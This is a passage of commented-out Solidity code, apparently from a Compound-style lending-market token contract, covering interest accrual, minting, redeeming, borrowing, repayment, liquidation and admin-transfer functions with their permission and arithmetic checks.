// (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
// }
// (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /* We write the previously calculated values into storage */
// accrualBlockNumber = currentBlockNumber;
// borrowIndex = borrowIndexNew;
// totalBorrows = totalBorrowsNew;
// totalReserves = totalReservesNew;
// /* We emit an AccrueInterest event */
// emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Sender supplies assets into the market and receives cTokens in exchange
// * @dev Accrues interest whether or not the operation succeeds, unless reverted
// * @param mintAmount The amount of the underlying asset to supply
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
// */
// function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
// return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
// }
// // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
// return mintFresh(msg.sender, mintAmount);
// }
// struct MintLocalVars {
// Error err;
// MathError mathErr;
// uint exchangeRateMantissa;
// uint mintTokens;
// uint totalSupplyNew;
// uint accountTokensNew;
// uint actualMintAmount;
// }
// /**
// * @notice User supplies assets into the market and receives cTokens in exchange
// * @dev Assumes interest has already been accrued up to the current block
// * @param minter The address of the account which is supplying the assets
// * @param mintAmount The amount of the underlying asset to supply
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
// */
// function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
// /* Fail if mint not allowed */
// uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
// if (allowed != 0) {
// return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
// }
// /* Verify market's block number equals current block number */
// if (accrualBlockNumber != getBlockNumber()) {
// return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
// }
// MintLocalVars memory vars;
// (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
// if (vars.mathErr != MathError.NO_ERROR) {
// return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /*
// * We call `doTransferIn` for the minter and the mintAmount.
// * Note: The cToken must handle variations between ERC-20 and ETH underlying.
// * `doTransferIn` reverts if anything goes wrong, since we can't be sure if
// * side-effects occurred. The function returns the amount actually transferred,
// * in case of a fee. On success, the cToken holds an additional `actualMintAmount`
// * of cash.
// */
// vars.actualMintAmount = doTransferIn(minter, mintAmount);
// /*
// * We get the current exchange rate and calculate the number of cTokens to be minted:
// * mintTokens = actualMintAmount / exchangeRate
// */
// (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
// require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
// /*
// * We calculate the new total supply of cTokens and minter token balance, checking for overflow:
// * totalSupplyNew = totalSupply + mintTokens
// * accountTokensNew = accountTokens[minter] + mintTokens
// */
// (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
// require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
// (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
// require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
// /* We write previously calculated values into storage */
// totalSupply = vars.totalSupplyNew;
// accountTokens[minter] = vars.accountTokensNew;
// /* We emit a Mint event, and a Transfer event */
// emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
// emit Transfer(address(this), minter, vars.mintTokens);
// /* We call the defense hook */
// comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
// return (uint(Error.NO_ERROR), vars.actualMintAmount);
// }
// /**
// * @notice Sender redeems cTokens in exchange for the underlying asset
// * @dev Accrues interest whether or not the operation succeeds, unless reverted
// * @param redeemTokens The number of cTokens to redeem into underlying
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
// return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
// }
// // redeemFresh emits redeem-specific logs on errors, so we don't need to
// return redeemFresh(msg.sender, redeemTokens, 0);
// }
// /**
// * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
// * @dev Accrues interest whether or not the operation succeeds, unless reverted
// * @param redeemAmount The amount of underlying to receive from redeeming cTokens
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
// return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
// }
// // redeemFresh emits redeem-specific logs on errors, so we don't need to
// return redeemFresh(msg.sender, 0, redeemAmount);
// }
// struct RedeemLocalVars {
// Error err;
// MathError mathErr;
// uint exchangeRateMantissa;
// uint redeemTokens;
// uint redeemAmount;
// uint totalSupplyNew;
// uint accountTokensNew;
// }
// /**
// * @notice User redeems cTokens in exchange for the underlying asset
// * @dev Assumes interest has already been accrued up to the current block
// * @param redeemer The address of the account which is redeeming the tokens
// * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
// * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
// require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
// RedeemLocalVars memory vars;
// /* exchangeRate = invoke Exchange Rate Stored() */
// (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
// }
// /* If redeemTokensIn > 0: */
// if (redeemTokensIn > 0) {
// /*
// * We calculate the exchange rate and the amount of underlying to be redeemed:
// * redeemTokens = redeemTokensIn
// * redeemAmount = redeemTokensIn x exchangeRateCurrent
// */
// vars.redeemTokens = redeemTokensIn;
// (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
// }
// } else {
// /*
// * We get the current exchange rate and calculate the amount to be redeemed:
// * redeemTokens = redeemAmountIn / exchangeRate
// * redeemAmount = redeemAmountIn
// */
// (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
// }
// vars.redeemAmount = redeemAmountIn;
// }
// /* Fail if redeem not allowed */
// uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
// if (allowed != 0) {
// return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
// }
// /* Verify market's block number equals current block number */
// if (accrualBlockNumber != getBlockNumber()) {
// return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
// }
// /*
// * We calculate the new total supply and redeemer balance, checking for underflow:
// * totalSupplyNew = totalSupply - redeemTokens
// * accountTokensNew = accountTokens[redeemer] - redeemTokens
// */
// (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
// }
// (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
// }
// /* Fail gracefully if protocol has insufficient cash */
// if (getCashPrior() < vars.redeemAmount) {
// return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /*
// * We invoke doTransferOut for the redeemer and the redeemAmount.
// * Note: The cToken must handle variations between ERC-20 and ETH underlying.
// * On success, the cToken has redeemAmount less of cash.
// * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
// */
// doTransferOut(redeemer, vars.redeemAmount);
// /* We write previously calculated values into storage */
// totalSupply = vars.totalSupplyNew;
// accountTokens[redeemer] = vars.accountTokensNew;
// /* We emit a Transfer event, and a Redeem event */
// emit Transfer(redeemer, address(this), vars.redeemTokens);
// emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
// /* We call the defense hook */
// comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Sender borrows assets from the protocol to their own address
// * @param borrowAmount The amount of the underlying asset to borrow
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
// return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
// }
// // borrowFresh emits borrow-specific logs on errors, so we don't need to
// return borrowFresh(msg.sender, borrowAmount);
// }
// struct BorrowLocalVars {
// MathError mathErr;
// uint accountBorrows;
// uint accountBorrowsNew;
// uint totalBorrowsNew;
// }
// /**
// * @notice Users borrow assets from the protocol to their own address
// * @param borrowAmount The amount of the underlying asset to borrow
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
// /* Fail if borrow not allowed */
// uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
// if (allowed != 0) {
// return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
// }
// /* Verify market's block number equals current block number */
// if (accrualBlockNumber != getBlockNumber()) {
// return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
// }
// /* Fail gracefully if protocol has insufficient underlying cash */
// if (getCashPrior() < borrowAmount) {
// return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
// }
// BorrowLocalVars memory vars;
// /*
// * We calculate the new borrower and total borrow balances, failing on overflow:
// * accountBorrowsNew = accountBorrows + borrowAmount
// * totalBorrowsNew = totalBorrows + borrowAmount
// */
// (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
// }
// (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
// }
// (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
// if (vars.mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /*
// * We invoke doTransferOut for the borrower and the borrowAmount.
// * Note: The cToken must handle variations between ERC-20 and ETH underlying.
// * On success, the cToken borrowAmount less of cash.
// * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
// */
// doTransferOut(borrower, borrowAmount);
// /* We write the previously calculated values into storage */
// accountBorrows[borrower].principal = vars.accountBorrowsNew;
// accountBorrows[borrower].interestIndex = borrowIndex;
// totalBorrows = vars.totalBorrowsNew;
// /* We emit a Borrow event */
// emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
// /* We call the defense hook */
// comptroller.borrowVerify(address(this), borrower, borrowAmount);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Sender repays their own borrow
// * @param repayAmount The amount to repay
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
// */
// function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
// return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
// }
// // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
// return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
// }
// /**
// * @notice Sender repays a borrow belonging to borrower
// * @param borrower the account with the debt being payed off
// * @param repayAmount The amount to repay
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
// */
// function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
// return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
// }
// // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
// return repayBorrowFresh(msg.sender, borrower, repayAmount);
// }
// struct RepayBorrowLocalVars {
// Error err;
// MathError mathErr;
// uint repayAmount;
// uint borrowerIndex;
// uint accountBorrows;
// uint accountBorrowsNew;
// uint totalBorrowsNew;
// uint actualRepayAmount;
// }
// /**
// * @notice Borrows are repaid by another user (possibly the borrower).
// * @param payer the account paying off the borrow
// * @param borrower the account with the debt being payed off
// * @param repayAmount the amount of undelrying tokens being returned
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
// */
// function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
// /* Fail if repayBorrow not allowed */
// uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
// if (allowed != 0) {
// return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
// }
// /* Verify market's block number equals current block number */
// if (accrualBlockNumber != getBlockNumber()) {
// return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
// }
// RepayBorrowLocalVars memory vars;
// /* We remember the original borrowerIndex for verification purposes */
// vars.borrowerIndex = accountBorrows[borrower].interestIndex;
// /* We fetch the amount the borrower owes, with accumulated interest */
// (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
// if (vars.mathErr != MathError.NO_ERROR) {
// return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
// }
// /* If repayAmount == -1, repayAmount = accountBorrows */
// if (repayAmount == uint(-1)) {
// vars.repayAmount = vars.accountBorrows;
// } else {
// vars.repayAmount = repayAmount;
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /*
// * We call doTransferIn for the payer and the repayAmount
// * Note: The cToken must handle variations between ERC-20 and ETH underlying.
// * On success, the cToken holds an additional repayAmount of cash.
// * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
// * it returns the amount actually transferred, in case of a fee.
// */
// vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
// /*
// * We calculate the new borrower and total borrow balances, failing on underflow:
// * accountBorrowsNew = accountBorrows - actualRepayAmount
// * totalBorrowsNew = totalBorrows - actualRepayAmount
// */
// (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
// require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
// (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
// require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
// /* We write the previously calculated values into storage */
// accountBorrows[borrower].principal = vars.accountBorrowsNew;
// accountBorrows[borrower].interestIndex = borrowIndex;
// totalBorrows = vars.totalBorrowsNew;
// /* We emit a RepayBorrow event */
// emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
// /* We call the defense hook */
// comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
// return (uint(Error.NO_ERROR), vars.actualRepayAmount);
// }
// /**
// * @notice The sender liquidates the borrowers collateral.
// * The collateral seized is transferred to the liquidator.
// * @param borrower The borrower of this cToken to be liquidated
// * @param cTokenCollateral The market in which to seize collateral from the borrower
// * @param repayAmount The amount of the underlying borrowed asset to repay
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
// */
// function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
// return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
// }
// error = cTokenCollateral.accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
// return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
// }
// // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
// return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
// }
// /**
// * @notice The liquidator liquidates the borrowers collateral.
// * The collateral seized is transferred to the liquidator.
// * @param borrower The borrower of this cToken to be liquidated
// * @param liquidator The address repaying the borrow and seizing collateral
// * @param cTokenCollateral The market in which to seize collateral from the borrower
// * @param repayAmount The amount of the underlying borrowed asset to repay
// * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
// */
// function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
// /* Fail if liquidate not allowed */
// uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
// if (allowed != 0) {
// return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
// }
// /* Verify market's block number equals current block number */
// if (accrualBlockNumber != getBlockNumber()) {
// return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
// }
// /* Verify cTokenCollateral market's block number equals current block number */
// if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
// return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
// }
// /* Fail if borrower = liquidator */
// if (borrower == liquidator) {
// return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
// }
// /* Fail if repayAmount = 0 */
// if (repayAmount == 0) {
// return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
// }
// /* Fail if repayAmount = -1 */
// if (repayAmount == uint(-1)) {
// return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
// }
// /* Fail if repayBorrow fails */
// (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
// if (repayBorrowError != uint(Error.NO_ERROR)) {
// return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /* We calculate the number of collateral tokens that will be seized */
// (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
// require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
// /* Revert if borrower collateral token balance < seizeTokens */
// require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
// uint seizeError;
// if (address(cTokenCollateral) == address(this)) {
// seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
// } else {
// seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
// }
// /* Revert if seize tokens fails (since we cannot be sure of side effects) */
// require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
// /* We emit a LiquidateBorrow event */
// emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
// /* We call the defense hook */
// comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
// return (uint(Error.NO_ERROR), actualRepayAmount);
// }
// /**
// * @notice Transfers collateral tokens (this market) to the liquidator.
// * @dev Will fail unless called by another cToken during the process of liquidation.
// * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
// * @param liquidator The account receiving seized collateral
// * @param borrower The account having collateral seized
// * @param seizeTokens The number of cTokens to seize
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
// return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
// }
// /**
// * @notice Transfers collateral tokens (this market) to the liquidator.
// * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.
// * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.
// * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)
// * @param liquidator The account receiving seized collateral
// * @param borrower The account having collateral seized
// * @param seizeTokens The number of cTokens to seize
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
// /* Fail if seize not allowed */
// uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
// if (allowed != 0) {
// return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
// }
// /* Fail if borrower = liquidator */
// if (borrower == liquidator) {
// return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
// }
// MathError mathErr;
// uint borrowerTokensNew;
// uint liquidatorTokensNew;
// /*
// * We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
// * borrowerTokensNew = accountTokens[borrower] - seizeTokens
// * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
// */
// (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
// }
// (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
// if (mathErr != MathError.NO_ERROR) {
// return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /* We write the previously calculated values into storage */
// accountTokens[borrower] = borrowerTokensNew;
// accountTokens[liquidator] = liquidatorTokensNew;
// /* Emit a Transfer event */
// emit Transfer(borrower, liquidator, seizeTokens);
// /* We call the defense hook */
// comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
// return uint(Error.NO_ERROR);
// }
// /*** Admin Functions ***/
// /**
// * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
// * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
// * @param newPendingAdmin New pending admin.
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
// // Check caller = admin
// if (msg.sender != admin) {
// return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
// }
// // Save current value, if any, for inclusion in log
// address oldPendingAdmin = pendingAdmin;
// // Store pendingAdmin with value newPendingAdmin
// pendingAdmin = newPendingAdmin;
// // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
// emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
// * @dev Admin function for pending admin to accept role and update admin
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _acceptAdmin() external returns (uint) {
// // Check caller is pendingAdmin and pendingAdmin ≠ address(0)
// if (msg.sender != pendingAdmin || msg.sender == address(0)) {
// return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
// }
// // Save current values for inclusion in log
// address oldAdmin = admin;
// address oldPendingAdmin = pendingAdmin;
// // Store admin with value pendingAdmin
// admin = pendingAdmin;
// // Clear the pending value
// pendingAdmin = address(0);
// emit NewAdmin(oldAdmin, admin);
// emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Sets a new comptroller for the market
// * @dev Admin function to set a new comptroller
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
// // Check caller is admin
// if (msg.sender != admin) {
// return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
// }
// ComptrollerInterface oldComptroller = comptroller;
// // Ensure invoke comptroller.isComptroller() returns true
// require(newComptroller.isComptroller(), "marker method returned false");
// // Set market's comptroller to newComptroller
// comptroller = newComptroller;
// // Emit NewComptroller(oldComptroller, newComptroller)
// emit NewComptroller(oldComptroller, newComptroller);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
// * @dev Admin function to accrue interest and set a new reserve factor
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
// return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
// }
// // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
// return _setReserveFactorFresh(newReserveFactorMantissa);
// }
// /**
// * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
// * @dev Admin function to set a new reserve factor
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
